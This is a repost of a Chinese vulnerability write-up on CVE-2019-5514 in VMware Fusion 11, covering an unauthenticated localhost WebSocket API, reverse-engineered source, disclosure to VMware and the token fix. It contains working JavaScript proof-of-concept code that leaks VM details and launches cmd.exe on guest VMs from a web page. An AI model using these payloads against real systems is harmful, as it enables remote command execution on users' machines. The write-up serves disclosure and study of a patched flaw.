VMware Fusion 11通过WebSocket接口控制虚拟机RCE漏洞分析(CVE-2019-5514)

栏目: Html5 · 发布时间: 5年前

内容简介:概述攻击者可以通过某个网站,在无需掌握任何预备知识的前提下,在VMware Fusion Guest VM上运行任意命令。基本来说,VMware Fusion仅仅会在本地主机上侦听WebSocket。攻击者可以通过这一WebSocket界面完全控制所有虚拟机,也可以创建或删除快照,或者进行其他的操作,包括启动应用程序。攻击者需要在Guest虚拟机上安装VMware Tools,才能够启动应用程序,但实际上,大家应该都已经安装了。因此,通过在网站上创建JavaScript,攻击者就可以与未经文档记录的API实

概述

攻击者可以通过某个网站,在无需掌握任何预备知识的前提下,在VMware Fusion Guest VM上运行任意命令。基本来说,VMware Fusion仅仅会在本地主机上侦听WebSocket。攻击者可以通过这一WebSocket界面完全控制所有虚拟机,也可以创建或删除快照,或者进行其他的操作,包括启动应用程序。攻击者需要在Guest虚拟机上安装VMware Tools,才能够启动应用程序,但实际上,大家应该都已经安装了。因此,通过在网站上创建JavaScript,攻击者就可以与未经文档记录的API实现交互。当然,这都是未经过身份验证的。

早期发现成果

几个星期前,我在Twitter上看到了 @CodeColorist 发表的一篇推文,谈到了这个问题。他是最早发现这一问题的人,但由于我一直没有时间研究这个问题,导致搁置了一段时间。当我再想回去看时,发现这篇推文已经被删除了。但是,我在这位研究者的微博帐号中发现了同样的推文(@CodeColorist)。下面是他发布的微博截图:

VMware Fusion 11通过WebSocket接口控制虚拟机RCE漏洞分析(CVE-2019-5514)

可以在这里看到,我们可以通过Web套接字在Guest VM上执行任意命令,该接口由amsrv进程启动。我非常信任这位研究者的研究成果,因此我接下来将在他提供的信息基础上做进一步的研究。

AMSRV

在研究中,我使用了GitHub上面的 ProcInfoExample项目 ,利用Proc Info库来监控运行VMware Fusion时启动的进程类型。在启动VMware时,将启动vmrest(VMware REST API)和amsrv:

2019-03-05 17:17:22.434 procInfoExample[10831:7776374] process start:
pid: 10936
path: /Applications/VMware Fusion.app/Contents/Library/vmrest
user: 501
args: (
    "/Applications/VMware Fusion.app/Contents/Library/amsrv",
    "-D",
    "-p",
    8698
)
 
2019-03-05 17:17:22.390 procInfoExample[10831:7776374] process start:
pid: 10935
path: /Applications/VMware Fusion.app/Contents/Library/amsrv
user: 501
args: (
    "/Applications/VMware Fusion.app/Contents/Library/amsrv",
    "-D",
    "-p",
    8698
)

它们似乎是相关的,特别是,我们可以通过这个端口访问到一些未记录的VMware REST API调用。由于我们可以通过amsrv进程控制应用程序菜单,所以我认为这类似于“应用程序菜单服务”(Application Menu Service)。如果我们导航到/Applications/VMware Fusion.app/Contents/Library/VMware Fusion Applications Menu.app/Contents/Resources的位置,我们可以找到一个名为app.asar的文件,在文件的末尾有一个node.js实现,与这个侦听8698端口的WebSocket相关。在该文件中,源代码的格式规范非常好,因此我们并不需要进行硬核的逆向工程。

我们查看这部分代码,它表明VMware Fusion应用程序菜单确实会在8698端口上启动amsrv进程,如果该端口被占用,那么将会尝试下一个可以启用的端口,依次类推。

const startVMRest = async () => {
   log.info('Main#startVMRest');
   if (vmrest != null) {
      log.warn('Main#vmrest is currently running.');
      return;
   }
   const execSync = require('child_process').execSync;
   let port = 8698; // The default port of vmrest is 8697
   let portFound = false;
   while (!portFound) {
      let stdout = execSync('lsof -i :' + port + ' | wc -l');
      if (parseInt(stdout) == 0) {
         portFound = true;
      } else {
         port++;
      }
   }
   // Let's store the chosen port to global
   global['port'] = port;
   const spawn = require('child_process').spawn;
   vmrest = spawn(path.join(__dirname, '../../../../../', 'amsrv'), [
      '-D',
      '-p',
      port
   ]);

我们可以在VMware Fusion Application目录日志中找到相关的日志信息:

2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: (url: ws://localhost:8698/ws )
2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: Successfully connected (url: ws://localhost:8698/ws )
2019-02-19 09:03:05:809 Renderer#ApiService::requestVMList: (url: http://localhost:8698/api/internal/vms )

这样一来,我们就可以确认Web套接字和其他API接口。

REST API – 泄漏虚拟机信息

如果我们导航到上面的URL(http://localhost:8698/api/internal/vms),我们将获得格式良好的JSON,以及关于我们的虚拟机的详细信息:

[
{
    "id": "XXXXXXXXXXXXXXXXXXXXXXXXXX",
    "processors": -1,
    "memory": -1,
    "path": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/Windows 10 x64.vmx",
    "cachePath": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/startMenu.plist",
    "powerState": "unknown"
  }
]

这已经是信息泄露,攻击者可以获取有关我们的用户ID、文件夹名称、虚拟机名称等基本信息。下面的代码可以用于展示这些信息。如果我们能够将这个JavaScript放入任何网站,并且运行Fusion的主机可以访问它,那么我们就可以查询REST API。

var url = 'http://localhost:8698/api/internal/vms'; //A local page
 
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
 
// If specified, responseType must be empty string or "text"
xhr.responseType = 'text';
 
xhr.onload = function () {
    if (xhr.readyState === xhr.DONE) {
        if (xhr.status === 200) {
            console.log(xhr.response);
            //console.log(xhr.responseText);
            document.write(xhr.response)
        }
    }
};
 
xhr.send(null);

如果我们仔细阅读代码,就会发现这些额外的URL泄漏了更多信息:'/api/vms/' + vm.id + '/ip'。这样一来,我们就会获得虚拟机的内部IP地址,但这种方法并不适用于加密的虚拟机或已经关机的虚拟机。'/api/internal/vms/' + vm.id这部分与我们此前提到的第一个URL所获得的信息是相同的,仅仅是将信息限制为针对单个虚拟机。

WebSocket-带有vmUUID的RCE

下面是@CodeColorist发布的原始PoC。

<script>
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
       const payload = {
              "name":"menu.onAction",
              "object":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
              "userInfo": {
                     "action":"launchGuestApp:",
                     "vmUUID":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
                     "representedObject":"cmd.exe"
                            }
                     };
                     ws.send(JSON.stringify(payload));
              };
ws.onmessage = function(data) {
       console.log(JSON.parse(data.data));
       ws.close();
       };
</script>

在这个PoC中,我们需要虚拟机的UUID才能启动应用程序。我们可以在vmx文件中找到bios.uuid,这就是所说的VmUUID。但问题是,这里并不存在 vmUUID泄漏的情况,我们也不能使用暴力破解的方式,这几乎是不可能完成的任务。我们需要在Guest VM上安装VMware Tools才能成功运行,但实际上绝大多数用户都已经预先安装了这一工具。如果虚拟机被挂起或关闭,那么VMware将能够帮助我们启动虚拟机。另外,命令也会被加入到队列中,直到用户登录,因此即使是在屏幕锁定的状态下,我们也可以在用户登录后运行此命令。经过一些尝试后,我注意到,如果我删除了对象和vmUUID元素,代码最后使用的虚拟机仍然会执行,因此也就会保存一些状态信息。

WebSocket – 信息泄漏

在开始还原,并追踪Web套接字将调用的内容,以及代码中的其它选项之后,一些事情就会变得清晰,这时我们就可以完整访问应用程序目录,并且可以完整控制所有内容。在检查VMware Fusion二进制文件时,我们发现其他目录中包含一些其他的选项。

                     aMenuupdate:
00000001003bedd2         db         "menu.update", 0                            ; DATA XREF=cfstring_menu_update
                     aMenushow:
00000001003bedde         db         "menu.show", 0                              ; DATA XREF=cfstring_menu_show
                     aMenuupdatehotk:
00000001003bede8         db         "menu.updateHotKey", 0                      ; DATA XREF=cfstring_menu_updateHotKey
                     aMenuonaction:
00000001003bedfa         db         "menu.onAction", 0                          ; DATA XREF=cfstring_menu_onAction
                     aMenurefresh:
00000001003bee08         db         "menu.refresh", 0                           ; DATA XREF=cfstring_menu_refresh
                     aMenusettings:
00000001003bee15         db         "menu.settings", 0                          ; DATA XREF=cfstring_menu_settings
                     aMenuselectinde:
00000001003bee23         db         "menu.selectIndex", 0                       ; DATA XREF=cfstring_menu_selectIndex
                     aMenudidclose:
00000001003bee34         db         "menu.didClose", 0                          ; DATA XREF=cfstring_menu_didClose

这些都是通过WebSocket调用的。我没有再继续深入地研究每个菜单上的每个选项,但是如果我们已经掌握了vmUUID,我们就可以做任何想做的事情,例如制作快照、启动虚拟机、删除虚拟机等等。但由于目前,我还没有弄清楚应该如何得到它,因此还没能够实际实现这一点,这也是需要解决的一个问题。

下一个值得关注的选项是menu.refresh。如果我们使用以下Payload:

       const payload = {
              "name":"menu.refresh",
                     };

我们将会获得和虚拟机以及固定应用程序相关的一些详细信息。

{
  "key": "menu.update",
  "value": {
    "vmList": [
      {
        "name": "Kali 2018 Master (2018Q4)",
        "cachePath": "/Users/csaby/VM/Kali 2018 Master (2018Q4).vmwarevm/startMenu.plist"
      },
      {
        "name": "macOS 10.14",
        "cachePath": "/Users/csaby/VM/macOS 10.14.vmwarevm/startMenu.plist"
      },
      {
        "name": "Windows 10 x64",
        "cachePath": "/Users/csaby/VM/Windows 10 x64.vmwarevm/startMenu.plist"
      }
    ],
    "menu": {
      "pinnedApps": [],
      "frequentlyUsedApps": [
        {
          "rawIcons": [
            {
(...)

通过前面讨论的API,我们可以发现这一点,因此我们发现了更多的信息被泄漏。

WebSocket – 完整的远程代码执行(在不掌握vmUUID的情况下)

下一个值得关注的条目时menu.selectIndex,它建议用户可以选择的虚拟机。甚至,在app.asar文件中,有一部分相关的代码,可以告知我如何对其进行调用:

   // Called when VM selection changed
   selectIndex(index: number) {
      log.info('Renderer#ActionService::selectIndex: (index:', index, ')');
      if (this.checkIsFusionUIRunning()) {
         this.send({
            name: 'menu.selectIndex',
            userInfo: { selectedIndex: index }
         });
      }

如果我们按照上面的建议来对此项进行调用,然后尝试在Guest虚拟机上启动应用程序,我们就可以指定哪个Guest VM运行该应用程序。基本上,我们可以通过这一调用来实现虚拟机的选择。

       const payload = {
              "name":"menu.selectIndex",
              "userInfo":      {
                     "selectedIndex":"3"
                            }
                     };

接下来,我进行了尝试,看看是否可以直接在menu.onAction调用中使用selectedIndex。最终,答案是肯定的。很明显,我使用menu.refresh获得的vmList具有每个虚拟机正确顺序和索引。

为了获得完整的远程代码执行,我们的步骤应该如下:

1. 使用menu.refresh泄漏虚拟机列表;

2. 使用索引,在Guest VM上启动应用程序。

PoC

<script>
 
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
       //payload to show vm names and cache path
       const payload = {
              "name":"menu.refresh",
                     };
                     ws.send(JSON.stringify(payload));                   
              };
ws.onmessage = function(data) {
       //document.write(data.data);
       console.log(JSON.parse(data.data));
       var j_son = JSON.parse(data.data);
       var vmlist = j_son.value.vmList;
       var i;
       for (i = 0; i < vmlist.length; i++) {
       //payload to launch an app, you can use either the vmUUID or the selectedIndex
       const payload = {
              "name":"menu.onAction",
              "userInfo": {
                     "action":"launchGuestApp:",
                     "selectedIndex":i,
                     "representedObject":"cmd.exe"
                            }
                     };
              if (vmlist[i].name.includes("Win") || vmlist[i].name.includes("win")) {ws.send(JSON.stringify(payload));}                  
       }     
       ws.close();
       };
</script>

向VMware报告

在此时,我与@Codecolorist取得了联系,并询问他是否已经向VMware报告,得到了肯定的答案,并且VMware持续在与他进行沟通。我决定,向VMware发送另一份报告,因为我发现这一漏洞非常严重,特别是与原来的PoC相比,我找到了一种能够执行这种攻击的实际方法,我希望能督促VMware尽快修复。

修复

几天前,WMware发布了一个修补程序和咨询,编号为 VMSA-2019-0005 。我们来看看他们做出的实际改动,基本上,他们实现了令牌认证,其中每次启动VMware都会运行新生成的令牌。

下面是用于生成令牌的相关代码(来源于app.asar):

String.prototype.pick = function(min, max) {
   var n,
      chars = '';
   if (typeof max === 'undefined') {
      n = min;
   } else {
      n = min + Math.floor(Math.random() * (max - min + 1));
   }
   for (var i = 0; i < n; i++) {
      chars += this.charAt(Math.floor(Math.random() * this.length));
   }
   return chars;
String.prototype.shuffle = function() {
   var array = this.split('');
   var tmp,
      current,
      top = array.length;
   if (top)
      while (--top) {
         current = Math.floor(Math.random() * (top + 1));
         tmp = array[current];
         array[current] = array[top];
         array[top] = tmp;
      }
   return array.join('');
export class Token {
   public static generate(): string {
      const specials = '<a href="/cdn-cgi/l/email-protection" data-cfemail="b091f0">[email protected]</a>#$%^&*()_+{}:"<>?|[];\',./`~';
      const lowercase = 'abcdefghijklmnopqrstuvwxyz';
      const uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
      const numbers = '0123456789';
      const all = specials + lowercase + uppercase + numbers;
      let token = '';
      token += specials.pick(1);
      token += lowercase.pick(1);
      token += uppercase.pick(1);
      token += numbers.pick(1);
      token += all.pick(5, 7);
      token = token.shuffle();
      return Buffer.from(token).toString('base64');
   }

令牌码是一个可变长度的密码,其中包含来自APP、小写、数字和符号之中的至少1个字符。该令牌码将会被使用Base64方法进行编码,我们可以在WireShark中找到它:

VMware Fusion 11通过WebSocket接口控制虚拟机RCE漏洞分析(CVE-2019-5514)

我们还可以看到它正在代码中使用:

function sendVmrestReady() {
   log.info('Main#sendVmrestReady');
   if (mainWindow) {
      mainWindow.webContents.send('vmrestReady', [
         'ws://localhost:' + global['port'] + '/ws?token=' + token,
         'http://localhost:' + global['port'],
         '?token=' + token
      ]);
   }

如果我们有mac用于执行代码,我们可能会解决这一令牌的问题,但在这种情况下,它无论如何都并不重要,密码实际上会限制攻击者利用这个远程代码的能力。

通过一些实验,我还发现我们需要将Header中的Origin设置为file://,否则将会被禁用,由于这必须由浏览器进行设置,所以我们无法通过正常的JS调用来进行设置。如下所示。

Origin: file://

因此,即使攻击者知道令牌,也无法通过普通网页触发此令牌。


以上所述就是小编给大家介绍的《VMware Fusion 11通过WebSocket接口控制虚拟机RCE漏洞分析(CVE-2019-5514)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

硅谷之火

硅谷之火

保罗·弗赖伯格、迈克尔·斯韦因 / 张华伟 编译 / 中国华侨出版社 / 2014-11-1 / CNY 39.80

《硅谷之火:人与计算机的未来》以生动的故事,介绍了计算机爱好者以怎样的创新精神和不懈的努力,将计算机技术的力量包装在一个小巧玲珑的机壳里,实现了个人拥有计算机的梦想。同时以独特的视角讲述了苹果、微软、太阳微系统、网景、莲花以及甲骨文等公司的创业者们在实现个人计算机梦想的过程中创业的艰辛、守业的艰难、失败的痛苦,在激烈竞争的环境中奋斗的精神以及在技术上不断前进的历程。一起来看看 《硅谷之火》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试